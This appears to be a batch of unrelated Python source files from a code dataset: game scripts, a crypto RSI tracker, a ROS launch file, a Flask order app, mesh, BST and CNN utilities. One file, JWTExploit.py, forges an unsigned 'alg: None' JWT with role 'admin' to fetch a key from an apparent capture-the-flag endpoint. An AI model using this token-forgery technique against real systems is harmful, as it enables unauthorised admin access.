or not\n#\tthat ship is repaired.\n#\t\n#\tArgs:\tbRepairsEnabled\t- 0 for no repairs, 1 to allow repairs.\n#\t\n#\tReturn:\tNone\n###############################################################################\ng_bRepairsEnabled = 1\ndef StarbaseRepairsEnabled(bRepairsEnabled):\n\tglobal g_bRepairsEnabled\n\tg_bRepairsEnabled = bRepairsEnabled\n\n###############################################################################\n#\tSetGraffDockingAction\n#\t\n#\tSet a special TGAction to replace Commander Graff's normal\n#\tresponse when the player docks with Starbase 12.\n#\t\n#\tArgs:\tpAction\t- The replacement action. If this is None,\n#\t\t\t\t\t Graff's normal behavior is restored.\n#\t\t\tbFadeEnd- True if the camera should fade to black after\n#\t\t\t\t\t Graff's cutscene finishes, as the camera switches\n#\t\t\t\t\t to the Sovereign flying out of the starbase.\n#\t\n#\tReturn:\tNone\n###############################################################################\ndef SetGraffDockingAction(pAction = None, bFadeEnd = 1):\n\tglobal g_idGraffAction\n\tglobal g_bFadeGraffEnd\n\tg_bFadeGraffEnd = bFadeEnd\n\t# If there was a replacement action before, make sure it's cleaned up.\n\ttry:\n\t\tpGraffAction = App.TGAction_Cast( App.TGObject_GetTGObjectPtr( g_idGraffAction ) )\n\t\tif pGraffAction:\n\t\t\tpGraffAction.Completed()\n\texcept NameError: pass\n\n\tif pAction:\n\t\tg_idGraffAction = pAction.GetObjID()\n\telse:\n\t\tg_idGraffAction = App.NULL_ID\n","sub_path":"scripts/Systems/Starbase12/Starbase12_S.py","file_name":"Starbase12_S.py","file_ext":"py","file_size_in_byte":8027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"236624141","text":"from Ticker import Ticker\nfrom threading import Thread\nimport time\nfrom OrderBook import OrderBook\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\nclass MarketData:\n #product_id is a String such as \"LTC-USD\"\n #updateInterval is an int\n #sizePriceTable is an int\n\n def __init__(self, product_id, coinBaseExchangeAuth, updateInterval, sizePriceTable):\n self.product_id = product_id\n self.updateInterval = updateInterval\n self.sizePriceTable = sizePriceTable\n self.priceTable = [-1]*sizePriceTable\n self.localOrderBook = {}\n \n self.smoothedAverageGain = -1\n self.smoothedAverageLoss = -1\n \n self.updating = False\n self.scheduler = BackgroundScheduler()\n self.Ticker = Ticker(coinBaseExchangeAuth)\n self.OrderBook = OrderBook(coinBaseExchangeAuth)\n\n #will auto update the price table every updateInterval seconds\n def runMarketData(self):\n self.scheduler.start()\n self.Ticker.open([self.product_id])\n self.OrderBook.open([self.product_id])\n self.scheduler.add_job(self.updateAll,'interval', seconds = self.updateInterval)\n self.scheduler.add_job(self.Ticker.update,'interval', seconds = self.updateInterval)\n self.scheduler.add_job(self.__updateOrderBook,'interval', seconds = self.updateInterval)\n self.updating = True\n print(\"Market Data Updating\")\n\n #will stop auto updating the price table\n def stopMarketData(self):\n self.scheduler.shutdown()\n self.updating = False\n print(\"Market Data No Longer Updating\")\n\n def isRunning(self):\n return self.updating\n\n def updateAll(self):\n self.__updatePriceTable()\n self.__updateSmoothedAverageGain()\n self.__updateSmoothedAverageLoss()\n\n #CURRENT RSI IS USELESS, DOES NOT WORK\n def getRSI(self, numPeriods, timeInterval):\n if(numPeriods*timeInterval > self.sizePriceTable*self.updateInterval):\n print(\"Invalid RSI Conditions\")\n return -1\n else:\n RSI = -1\n RS = self.getRS(numPeriods, timeInterval)\n if(RS == -1):\n return RSI\n else:\n RSI = 100 - 100/(1+RS)\n return RSI\n\n def getRS(self, numPeriods, timeInterval):\n RS = -1\n avgGain = self.smoothedAverageGain\n avgLoss = self.smoothedAverageLoss\n\n if(avgGain == -1 or avgLoss == -1):\n return RS\n elif(avgGain == 0 and avgLoss == 0):\n RS = 1\n return RS\n elif(avgLoss == 0):\n RS = 0\n elif(avgGain == 0):\n RS = 99\n else:\n RS = avgGain/avgLoss\n return RS\n\n def __updateSmoothedAverageLoss(self, numPeriods = 0):\n if(numPeriods == 0):\n numPeriods = self.sizePriceTable -1\n\n smoothedAverage = -1\n previousSmoothedAverage = self.smoothedAverageLoss\n\n if(previousSmoothedAverage == -1):\n smoothedAverage = self.getAverageLoss(numPeriods + 1)\n\n else:\n smoothedAverage = (previousSmoothedAverage*(numPeriods-1) + self.getAverageLoss(numPeriods + 1))/ numPeriods\n\n self.smoothedAverageLoss = smoothedAverage\n return smoothedAverage\n\n def __updateSmoothedAverageGain(self, numPeriods = 0):\n if(numPeriods == 0):\n numPeriods = self.sizePriceTable -1\n\n smoothedAverage = -1\n previousSmoothedAverage = self.smoothedAverageGain\n\n if(previousSmoothedAverage == -1):\n smoothedAverage = self.getAverageLoss(numPeriods + 1)\n\n else:\n smoothedAverage = (previousSmoothedAverage*(numPeriods-1) + self.getAverageGain(numPeriods + 1))/ numPeriods\n\n self.smoothedAverageGain = smoothedAverage\n return smoothedAverage\n\n def getAverageGain(self, numPeriods = 0):\n\n if(numPeriods == 0):\n numPeriods = self.sizePriceTable\n\n average = -1\n gainTable = []\n if(len(self.priceTable) < numPeriods):\n return average\n else:\n for i in range(1,numPeriods):\n gain = self.priceTable[i] - self.priceTable[i-1]\n if(gain > 0):\n gainTable.insert(i-1, gain)\n else:\n gainTable.insert(i-1, 0)\n\n sm = sum(gainTable)\n average = sm/numPeriods\n if(not self.__isPriceTableFull()):\n return -1\n else:\n return average\n\n #returns an integer value of the sum of the losses between entries in\n #priceTable. Returns -1 if numPeriods is greater than the number of\n #entries in priceTable or if priceTable is not full.\n def getAverageLoss(self, numPeriods = 0):\n if(numPeriods == 0):\n numPeriods = self.sizePriceTable\n\n average = -1\n lossTable = []\n if(len(self.priceTable) < numPeriods):\n return average\n else:\n for i in range(1,numPeriods):\n loss = self.priceTable[i-1] - self.priceTable[i]\n if(loss > 0):\n lossTable.insert(i-1, loss)\n else:\n lossTable.insert(i-1, 0)\n\n sm = sum(lossTable)\n average = sm/numPeriods\n if(not self.__isPriceTableFull()):\n return -1\n else:\n return average\n\n def __isPriceTableFull(self):\n if(self.priceTable[-1] == -1):\n return False\n else:\n return True\n\n def __updatePriceTable(self):\n if(self.Ticker.isRunning()):\n self.priceTable.insert(0, self.Ticker.getPrice())\n self.priceTable = self.priceTable[0:self.sizePriceTable]\n else:\n self.stopMarketData()\n\n def getPriceTable(self):\n return self.priceTable\n\n def __updateOrderBook(self):\n if(self.self.OrderBook.isRunning()):\n self.localOrderBook = self.OrderBook.getOrderBook()\n else:\n self.stopMarketData()\n\n def getOrderBook(self):\n return self.localOrderBook\n","sub_path":"MarketData.py","file_name":"MarketData.py","file_ext":"py","file_size_in_byte":6158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"105428595","text":"from launch import LaunchDescription\nfrom launch_ros.actions import ComposableNodeContainer\nfrom launch_ros.descriptions import ComposableNode\nfrom launch.substitutions import LaunchConfiguration\nfrom launch.actions import DeclareLaunchArgument\nfrom launch.conditions import IfCondition\nfrom launch.conditions import UnlessCondition\n\n\nfrom report_utils.launch_parameters import WP_SIMPLE_LAP\n\n\ndef generate_launch_description():\n container = ComposableNodeContainer(\n name=\"operation_container\",\n namespace=\"vehicle\",\n package=\"rclcpp_components\",\n executable=\"component_container\",\n composable_node_descriptions=[\n ComposableNode(\n package=\"operation\",\n plugin=\"WaypointPublisherNode\",\n name=\"waypoint_publisher\",\n namespace=\"vehicle\",\n parameters=[\n {\"waypoint_xs\": list(WP_SIMPLE_LAP[:, 0])},\n {\"waypoint_ys\": list(WP_SIMPLE_LAP[:, 1])}\n ],\n )\n ]\n )\n\n return LaunchDescription([container])\n","sub_path":"ws/src/operation/launch/report_waypoints_simple_lap.launch.py","file_name":"report_waypoints_simple_lap.launch.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"10088949","text":"import requests\nimport os\nimport sys\nimport base64\nimport subprocess\nimport ast\nimport json\nimport re\n\ndef decode_base64(data, altchars=b'+/'):\n missing_padding = 4 - len(data) % 4\n if missing_padding:\n data += b'='* missing_padding\n return base64.urlsafe_b64decode(data)\n\ndef main():\n\n ses = requests.Session()\n\n url = \"http:///ctf2/login\"\n headers = {'Content-Type': \"application/json\",'User-Agent':\"Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0\"} \n payload = \"{\\n\\t\\\"username\\\": \\\"insertUsername\\\",\\n\\t\\\"password\\\": \\\"insertPassword\\\"\\n}\" \n response = ses.post(url, data=payload, headers=headers)\n\n cookieJar = ses.cookies\n for cookie in cookieJar:\n print(cookie.value)\n\n strings=cookie.value.split(\".\")\n url1 = \"http:///ctf2/key\"\n ses.headers.update({'X-Auth-Token': cookie.value})\n\n heads = decode_base64(strings[0])\n response_dict = ast.literal_eval(heads)\n response_dict[\"alg\"] = \"None\"\n mod_header_elem = json.dumps(response_dict) # Modified header\n\n payload = decode_base64(strings[1])\n res_dict = ast.literal_eval(payload)\n res_dict[\"role\"] = \"admin\"\n mod_token_elem = json.dumps(res_dict)\n \n mod_token_elem = mod_token_elem[:38]+\"}\" # Modified token\n\n en_header = ''.join(base64.urlsafe_b64encode(mod_header_elem).split(\"\\n\")) # Base64 encode\n en_token = ''.join(base64.urlsafe_b64encode(mod_token_elem).split(\"\\n\")) # Base64 encode\n\t\n newPipe = decode_base64(en_header)\n \n strings[0] = en_header\n strings[1] = en_token\n new_cookie = strings[0]+\".\"+strings[1]+\".\" # New Cookie\n\n print(new_cookie)\n \n ses.headers.update({'X-Auth-Token': new_cookie})\n response = ses.get(url1)\n print(response.text)\n \nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"JWTExploit.py","file_name":"JWTExploit.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"456506003","text":"import json\n\nimport flask as fk\nimport flask_admin\nimport flask_migrate\nimport flask_sqlalchemy\nfrom flask_admin.contrib.sqla import ModelView\n\n\nimport src.config as config\n\napp = fk.Flask(__name__)\napp.config.from_object(config.Config)\ndb = flask_sqlalchemy.SQLAlchemy(app)\nmigrate = flask_migrate.Migrate(app, db)\nadmin = flask_admin.Admin(app)\n\n\ndef init_admin():\n from src.models import Vendor, Position, Orderer, Check\n admin.add_view(ModelView(Vendor.Vendor, db.session))\n admin.add_view(ModelView(Check.Check, db.session))\n admin.add_view(ModelView(Position.Position, db.session))\n admin.add_view(ModelView(Orderer.Orderer, db.session))\n\n\n@app.route('/')\ndef main_page():\n from src.models.Check import Check\n checks = Check.query.all()\n print(checks[0].id, checks[0].positions)\n return fk.render_template('index.html')\n\n\n@app.route('/add')\ndef add_note():\n return fk.render_template('add.html')\n\n@app.route('/add', methods=['POST'])\ndef create_order():\n from src.models.Position import Position\n from src.models.Orderer import Orderer\n from src.models.Check import Check\n\n\n data = json.loads(fk.request.data)\n data = data['check']\n first_name = data['first_name']\n second_name = data['last_name']\n positions = data['positions']\n client = Orderer(name=first_name, surname=second_name, phone=111)\n db.session.add(client)\n db.session.commit()\n\n check = Check(orderer_id=client.id)\n db.session.add(check)\n db.session.commit()\n\n for i in positions:\n position = Position(vendor_id=i['vendor'], check_id=check.id, amount=i['amount'])\n db.session.add(position)\n db.session.commit()\n return fk.make_response(\"OK\", 200)\n\n\nif __name__ == '__main__':\n app.secret_key = 'secret'\n init_admin()\n app.run(host='0.0.0.0', port=60, threaded=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"484241936","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 21 15:56:02 2015\n\n@author: khenning\n\"\"\"\n\nimport os\nimport subprocess\n\nimport numpy\nimport matplotlib.pyplot as plt\n\nh = 2.0\n\ndef showMesh(verts, tris, c='g'):\n plt.xlabel('x')\n plt.ylabel('y')\n plt.triplot(verts[:,0], verts[:,1], tris, c+'-')\n\ndef show(verts1, verts2, tris1, tris2):\n plt.subplot(211)\n plt.xlabel('x')\n plt.ylabel('y')\n plt.triplot(verts1[:,0], verts1[:,1], tris1, 'g-')\n Tv = numpy.ones([len(verts1[:,0]),1])\n plt.triplot(verts2[:,0]+Tv[0,:]*1.25, verts2[:,1], tris2, 'r-')\n\ndef showTriangle(T, c): \n plt.plot([T[0,0],T[1,0]],[T[0,1],T[1,1]], str(c)+'-')\n plt.plot([T[1,0],T[2,0]],[T[1,1],T[2,1]], str(c)+'-') \n plt.plot([T[2,0],T[0,0]],[T[2,1],T[0,1]], str(c)+'-') \n \n plt.plot(T[0,0],T[0,1], str(c)+'o')\n plt.plot(T[1,0],T[1,1], str(c)+'o')\n plt.plot(T[2,0],T[2,1], str(c)+'o')\n\ndef showReferenceCell(xi0, xi1, xi2): \n plt.plot([xi0[0,0],xi1[0,0]], [xi0[1,0],xi1[1,0]], 'k-')\n plt.plot([xi1[0,0],xi2[0,0]], [xi1[1,0],xi2[1,0]], 'k-')\n plt.plot([xi2[0,0],xi0[0,0]], [xi2[1,0],xi0[1,0]], 'k-')\n \n plt.plot(xi1[0], xi1[1], 'ro')\n plt.plot(xi0[0], xi0[1], 'ro')\n plt.plot(xi2[0], xi2[1], 'ro')\n \n\ndef showMappedCell(xi0, xi1, xi2):\n plt.plot([xi0[0],xi1[0]], [xi0[1],xi1[1]], 'k-')\n plt.plot([xi1[0],xi2[0]], [xi1[1],xi2[1]], 'k-')\n plt.plot([xi2[0],xi0[0]], [xi2[1],xi0[1]], 'k-')\n\n plt.plot(xi2[0], xi2[1], 'ro')\n plt.plot(xi1[0], xi1[1], 'ro')\n plt.plot(xi0[0], xi0[1], 'ro')\n \n\n###############################################################################\n###############################################################################\n\ndef generate_quad_triangulation(cellsize, boxdim=1, structedGrid=False):\n global h\n h = cellsize\n # a string holding the gmsh script commands for a rectangular domain\n # passing the box sidelength as boxdim and h as maximum cellwith\n description = \"\\n\\\nboxdim = \"+str(boxdim)+\";\\n\\\ngridsize = \"+str(h)+\";\\n\\\nPoint(1) = {0.0,0.0,0.0,gridsize};\\n\\\nPoint(2) = {boxdim,0.0,0.0,gridsize};\\n\\\nPoint(3) = {boxdim,boxdim,0.0,gridsize};\\n\\\nPoint(4) = {0.0,boxdim,0.0,gridsize};\\n\\\nLine(7) = {1,2};\\n\\\nLine(8) = {2,3};\\n\\\nLine(9) = {3,4};\\n\\\nLine(10) = {4,1};\\n\\\nLine Loop(14) = {7,8,9,10};\\n\\\nPlane Surface(16) = 14;\\n\\\n \\n\\\n \\n\\\n \\n\"\n if(structedGrid==True):\n description += \"\\n\\\nTransfinite Line{7,8,9,10} = boxdim/gridsize;\\n\\\nTransfinite Surface{16};\\n\"\n # write the created geo script to a file\n geofile = open(\"grid2d.geo\", \"w\")\n geofile.write(description)\n geofile.close()\n # call gmsh with that string\n subprocess.call([\"gmsh\", \"-2\", \"grid2d.geo\"], stdout = open(os.devnull, \"w\"))\n return\n###############################################################################\n###############################################################################\ndef generate_circle_triangulation(cellsize, boundaryCount=15, radius=1):\n r = radius\n cnt = boundaryCount\n h = cellsize\n \n pointStr = \"\"\n lineStr = \"\"\n lineLoop = \"Line Loop(\"+str(2*cnt-1) + \")={\"\n surfaceStr = \"Plane Surface(\"+str(2*cnt)+\") = \"+str(2*cnt-1)+\";\"\n for i in range(1,cnt+1):\n phi = i/cnt*2*numpy.pi\n print(phi)\n pointStr += \"Point(\"+str(i)+\") = {\" + str(r*numpy.cos(phi)) +\",\" + str(r*numpy.sin(phi)) + \", 0.0,\" + str(h) +\"};\\n\"\n lineStr += \"Line(\" + str(cnt+(i-1)) + \") = {\" + str(i) + \",\" + str(i+1 if i < cnt else 1) + \"};\\n\"\n lineLoop += str(cnt+i-1) + \",\"\n \n tmp = list(lineLoop)\n tmp[len(tmp)-1] = '}'\n lineLoop = \"\".join(tmp) + str(\";\")\n \n description = pointStr + \"\\n\" + lineStr + \"\\n\" + lineLoop + \"\\n\" + surfaceStr + \"\\n\"\n print(description)\n geofile = open(\"grid2d.geo\", \"w\")\n geofile.write(description)\n geofile.close()\n # call gmsh with that string\n subprocess.call([\"gmsh\", \"-2\", \"grid2d.geo\"])\n return\n###############################################################################\n###############################################################################\n\ndef read_gmsh():\n path = \"grid2d.msh\"\n np = 0\n dim = 2\n vertices = 0\n triangles = []\n edges = []\n points = []\n lines = []\n if(os.path.exists(path)):\n fileContent = open(path)\n # dummy init of line\n line = 'start'\n while line:\n line = fileContent.readline()\n# read vertices \n############################################################################### \n if line.find('$Nodes') == 0:\n line = fileContent.readline()\n np = int(line.split()[0])\n vertices = numpy.zeros((np, dim), dtype=float)\n for i in range(0, np):\n line = fileContent.readline()\n data = line.split()\n idx = int(data[0])-1\n if i != idx:\n raise ValueError('problem with vertex ids')\n vertices[i,:] = list(map(float, data[1:dim+1])) \n# read element indices \n############################################################################### \n if line.find('$Elements') == 0:\n line = fileContent.readline()\n ne = int(line.split()[0])\n # read in each line seperatly\n for i in range(0, ne):\n line = fileContent.readline()\n data = line.split()\n idx = int(data[0])-1\n if i != idx:\n raise ValueError('problem with elements ids')\n # read out wich element type we read in\n etype = int(data[1])\n # compute how the data field starts\n ntags = int(data[2])\n k = 3 + ntags\n # etype 15, point\n if(etype == 15):\n points.append(list(map(int, data[k:])))\n # etype 2, trinangle\n elif(etype == 2):\n tri = list(map(int, data[k:]))\n # python indices starts by 0, gmsh starts by 1\n # fix this here by adding -1 to every index\n tri[0] -= 1\n tri[1] -= 1\n tri[2] -= 1\n triangles.append(tri)\n # etype 9, trinangle second order vertices, edges\n # Triangle: Triangle6:\n # v \n # ^ \n # | \n # 2 2\n # |`\\ |`\\\n # | `\\ | `\\\n # | `\\ 5 `4\n # | `\\ | `\\\n # | `\\ | `\\\n # 0----------1 --> u 0-----3----1 \n elif(etype == 9):\n triedg = list(map(int, data[k:]))\n # python indices starts by 0, gmsh starts by 1\n # fix this here by adding -1 to every index\n triedg[0] -= 1\n triedg[1] -= 1\n triedg[2] -= 1\n triangles.append([triedg[0],triedg[1],triedg[2]])\n edges.append([triedg[3]-1,triedg[4]-1,triedg[5]-1])\n # etype 1, line\n elif(etype == 1):\n line = list(map(int, data[k:]))\n line[0] -= 1\n line[1] -= 1\n lines.append(line)\n return vertices, numpy.mat(triangles), numpy.mat(edges), numpy.mat(points), numpy.mat(lines)\n \n###############################################################################\n###############################################################################\n\ndef generate_gmsh(cellsize, boxdim=1, structedGrid=False):\n generate_quad_triangulation(cellsize, boxdim, structedGrid)\n return read_gmsh()\n\n###############################################################################\n###############################################################################\n\ndef generate_disc_gmsh(cellsize, boundaryCount=15, radius=1):\n generate_circle_triangulation(cellsize, boundaryCount, 1)\n return read_gmsh()\n\n###############################################################################\n###############################################################################\ndef max_mesh_width():\n return h\n###############################################################################\n###############################################################################\n#\n# interiorNodes(p, t, be)\n#\n# returns the interior nodes as indices into p.\n#\n# input:\n# p - Nx2 array with coordinates of the nodes\n# t - Mx3 array with indices of nodes of the triangles\n# be - Bx2 array with indices of nodes on boundary edges\n#\n# output:\n# IN - Ix1 array of nodes as indices into p that do not lie on\n# the boundary\n# \ndef interiorNodes(V, t, be):\n Ti = t.copy()\n IN = numpy.array(Ti.flatten())\n IN = numpy.unique(IN)\n IN = numpy.delete(IN, be[:,0])\n return IN\n \ndef interiorNodes2(V, t, be):\n Ti = t.copy()\n IN = numpy.array(Ti.flatten())\n IN = numpy.unique(IN)\n \n beUnique = be.copy()\n beUnique = numpy.array(beUnique.flatten())\n beUnique = numpy.unique(beUnique)\n \n IN = numpy.delete(IN, beUnique)\n return IN \n###############################################################################\n###############################################################################\n#\n# edgeIndex(t)\n#\n# returns the edge index matrix.\n#\n# input:\n# t - Mx3 array with indices of nodes of the triangles\n#\n# output:\n# E - nxn matrix of edges that connect node n1 and n2\n# the boundary\n# \ndef edgeIndex(p,t):\n n = len(p)\n E = numpy. zeros([n,n])\n m = 1\n for j in range(len(t)):\n if E[t[j,0],t[j,1]]==0 and E[t[j,1],t[j,0]]==0:\n E[t[j,0],t[j,1]]=m\n E[t[j,1],t[j,0]]=m\n m=m+1\n \n if E[t[j,1],t[j,2]]==0 and E[t[j,2],t[j,1]]==0:\n E[t[j,1],t[j,2]]=m\n E[t[j,2],t[j,1]]=m\n m=m+1\n \n if E[t[j,0],t[j,2]]==0 and E[t[j,2],t[j,0]]==0:\n E[t[j,0],t[j,2]]=m\n E[t[j,2],t[j,0]]=m\n m=m+1\n \n \n \n # for k in range(0, n):\n # tri = t[k,:]\n # for i in range(1,tri.size+1):\n # index = i % 3\n # pi1 = tri[0,index-1]\n # pi2 = tri[0,index]\n # E[pi1, pi2] = edges[0,index-1]\n return E\n","sub_path":"series9_BurgReppinHenning/meshes.py","file_name":"meshes.py","file_ext":"py","file_size_in_byte":11037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"16762351","text":"import sublime\n\nfrom .GitStatusView import GitStatusView\nfrom .GitDiffView import GitDiffView\nfrom .Command import Command\nfrom .Event import Event\n\n\nclass GitView:\n ''' Shows the git status and git diff. '''\n listener = None\n\n def __init__(self, window, layout):\n self.window = window\n self.layout = layout\n self.git_status_view = GitStatusView(window)\n self.git_diff_view = GitDiffView(window)\n self.command = Command(window)\n\n def close(self):\n ''' Closes the git status view and git diff view. '''\n\n for view in self.window.views():\n if view.name() in [GitStatusView.view_name, GitDiffView.view_name]:\n self.window.focus_view(view)\n self.window.run_command('close_file')\n Event.fire('git_view.close')\n\n def open(self, git_statuses):\n ''' Opens the git status view, and git diff view. '''\n\n git_status_view = self.git_status_view.generate(git_statuses)\n self.layout.insert_into_first_column(git_status_view)\n\n git_diff_view = self.git_diff_view.generate()\n self.layout.insert_into_second_column(git_diff_view)\n\n # call --> UPDATE_DIFF_VIEW <-- after registering\n # the 'git_status.update_diff_view' listener\n # so it nows how to remove it\n self.update_diff_view(git_diff_view, 0)\n\n sel = git_status_view.sel()\n sel.clear()\n sel.add(0)\n git_status_view.show(0)\n\n @staticmethod\n def update_diff_view(view, line):\n command = Command(sublime.active_window())\n git_statuses = command.git_statuses()\n\n if not GitView._have_a_diff_to_show(line, git_statuses):\n view.run_command(\"clear_git_diff_view\")\n return\n\n file_name = git_statuses[line]['file_name']\n modification_type = git_statuses[line]['modification_type']\n diff_output = ''\n\n if 'M' in modification_type:\n diff_output = command.git_diff_file(file_name)\n\n elif 'U' in modification_type:\n diff_output = command.git_diff_file(file_name)\n\n elif 'A' in modification_type:\n diff_output = command.git_diff_file(file_name)\n\n elif 'R' in modification_type:\n diff_output = command.git_diff_file(file_name)\n\n elif 'C' in modification_type:\n diff_output = command.git_diff_file(file_name)\n\n elif '?' in modification_type:\n diff_output = command.show_added_file(file_name)\n\n elif 'D' in modification_type:\n diff_output = command.show_deleted_file(file_name)\n\n data = {\n 'diff_output': diff_output,\n 'modification_type': modification_type,\n 'file_name': file_name\n }\n\n view.run_command(\"update_git_diff_view\", data)\n\n @staticmethod\n def _have_a_diff_to_show(line, git_statuses):\n return line < len(git_statuses)\n","sub_path":"core/GitView.py","file_name":"GitView.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"368376415","text":"\"\"\"\nBinary search trees are a data structure that enforce an ordering over \nthe data they store. That ordering in turn makes it a lot more efficient \nat searching for a particular piece of data in the tree. \n\nThis part of the project comprises two days:\n1. Implement the methods `insert`, `contains`, `get_max`, and `for_each`\n on the BSTNode class.\n2. Implement the `in_order_print`, `bft_print`, and `dft_print` methods\n on the BSTNode class.\n\"\"\"\n\nimport sys\nsys.path.append('../queue')\nfrom dll_queue import dll_queue\nsys.path.append('../stack')\nfrom dll_stack import dll_Stack\n\nclass BSTNode:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n # Insert the given value into the tree\n def insert(self, value):\n # if root is not empty and value is greater than root, place value to right of root\n if (value >= self.value) and (self.right != None):\n self.right.insert(value)\n # if root is empty and value is greater than root, create a node and place value to right of root\n if (value >= self.value) and (self.right == None):\n new_node = BSTNode(value)\n self.right = new_node\n # if root is not empty and value is lesser than root, place value to right of root\n if (value < self.value) and (self.left != None):\n self.left.insert(value)\n # if root is empty and value is lesser than root, create a node and place value to left of root\n if (value < self.value) and (self.left == None):\n new_node = BSTNode(value)\n self.left = new_node\n\n # Return True if the tree contains the value\n # False if it does not\n def contains(self, target):\n if target == self.value:\n return True\n if (target>self.value):\n if self.right is not None:\n return self.right.contains(target)\n else:\n return False\n if (target0:\n curr_node = queue.dequeue()\n print (f'Value of current node is {curr_node.value}')\n if curr_node.left: \n queue.enqueue(curr_node.left)\n if curr_node.right: \n queue.enqueue(curr_node.right)\n\n # Print the value of every node, starting with the given node,\n # in an iterative depth first traversal\n def dft_print(self):\n # Create a stack for the nodes\n # add the first node to stack \n # add the the children to the stack. keep in mind to add these in same order. \n stack = dll_Stack()\n stack.push(self)\n\n while len(stack)>0:\n curr_node = stack.pop()\n print(f'Value of current node is {curr_node.value}')\n if curr_node.left: \n stack.push(curr_node.left)\n if curr_node.right: \n stack.push(curr_node.right)\n\n # Stretch Goals -------------------------\n # Note: Research may be required\n\n # Print Pre-order recursive DFT\n def pre_order_dft(self):\n pass\n\n # Print Post-order recursive DFT\n def post_order_dft(self):\n pass\n\n\"\"\"\nThis code is necessary for testing the `print` methods\n\"\"\"\nbst = BSTNode(1)\n\nbst.insert(8)\nbst.insert(5)\nbst.insert(7)\nbst.insert(6)\nbst.insert(3)\nbst.insert(4)\nbst.insert(2)\n\n#bst.bft_print()\nbst.dft_print()\n\n# print(\"elegant methods\")\n# print(\"pre order\")\n# bst.pre_order_dft()\n# print(\"in order\")\n# bst.in_order_dft()\n# print(\"post order\")\n# bst.post_order_dft() \n","sub_path":"binary_search_tree/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":5098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"331228307","text":"import numpy as np\nimport os\nimport pickle\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Activation\nfrom keras.layers import Embedding\nfrom keras.layers.convolutional import Convolution1D, MaxPooling1D\nfrom keras.preprocessing.sequence import pad_sequences\n\n\ndef train_cnn(model_name, train_sentences, train_y, test_sentences, test_y,\n vector_size=100, hidden_dim=500, dropout_rate=0.3,\n batch_size=20, n_epoch=1, kernel_size=3, n_kernels=250):\n '''\n Trains a convolutional net\n :param model_name: Name of the model\n :param train_sentences: Vector of training sentences\n :param train_y: Vector of training label numbers\n :param test_sentences: Vector of testing sentences\n :param test_y: Vector of testing label numbers\n :param vector_size: Size of each vector\n :param hidden_dim: Dimensions of the hidden layer\n :param dropout_rate: Rate of dropout\n :param batch_size: Size of each batch\n :param nb_epoch: Number of full iterations\n :param kernel_size: Size of each kernel\n :param nm_kernels: Number of different kernels\n :return: Trained cnn model\n '''\n\n if os.path.exists(os.path.join('..', 'models', model_name, 'vocabulary.index')):\n with open(os.path.join('..', 'models', model_name, 'vocabulary.index'), 'rb') as f:\n word_index = pickle.load(f)\n else:\n # get vocabulary\n vocabulary = np.unique((' '.join(train_sentences) +\n ' '.join(test_sentences)).split())\n # create a word indexx\n word_index = {w: i for i,w in enumerate(vocabulary)}\n with open(os.path.join('..', 'models', model_name, 'vocabulary.index'), 'wb') as f:\n pickle.dump(word_index, f, pickle.HIGHEST_PROTOCOL)\n\n # get the maximum sentence length\n max_length = np.max([len(s) for s in (train_sentences + test_sentences)])\n\n # set the input as lists of word indices\n train_X = [[word_index[w] for w in s.split()] for s in train_sentences]\n test_X = [[word_index[w] for w in s.split()] for s in test_sentences]\n\n # pad the sequences with 0s\n train_X = pad_sequences(train_X, maxlen=max_length)\n test_X = pad_sequences(test_X, maxlen=max_length)\n\n # create one-hot vector for labels\n train_Y = np.zeros((len(train_y), np.unique(train_y).shape[0]))\n train_Y[np.arange(len(train_y)), train_y] = 1\n test_Y = np.zeros((len(test_y), np.unique(test_y).shape[0]))\n test_Y[np.arange(len(test_y)), test_y] = 1\n\n print('Building model...')\n\n model = Sequential()\n model.add(Embedding(len(word_index), hidden_dim, input_length=max_length))\n model.add(Dropout(dropout_rate))\n model.add(Convolution1D(nb_filter=n_kernels, filter_length=kernel_size,\n border_mode='valid', activation='relu',\n subsample_length=1))\n model.add(MaxPooling1D(pool_length=2))\n model.add(Flatten())\n model.add(Dense(hidden_dim))\n model.add(Dropout(dropout_rate))\n model.add(Activation('relu'))\n model.add(Dense(np.unique(train_y).shape[0], activation='softmax'))\n\n model.compile(optimizer='adam', loss='categorical_crossentropy')\n\n print('Training...')\n\n if os.path.exists(os.path.join('..', 'models', model_name, 'cnn.hdf5')):\n model.load_weights(os.path.join('..', 'models', model_name, 'cnn.hdf5'))\n\n model.fit(train_X, train_Y, batch_size=batch_size, nb_epoch=n_epoch,\n validation_split=0.1, show_accuracy=True)\n\n model.save_weights(os.path.join('..', 'models', model_name, 'cnn.hdf5'),\n overwrite=True)\n\n train_loss, train_accuracy = model.evaluate(train_X, train_Y,\n batch_size=batch_size,\n show_accuracy=True)\n\n test_loss, test_accuracy = model.evaluate(test_X, test_Y,\n batch_size=batch_size,\n show_accuracy=True)\n\n with open(os.path.join('..', 'models', model_name, 'cnn.results'), 'w') as f:\n f.write('### CNN scores ###\\n')\n f.write(' Training accuracy: %.2f %%\\n' % (train_accuracy * 100))\n f.write(' Testing accuracy: %.2f %%\\n' % (test_accuracy * 100))\n \n return model, word_index\n 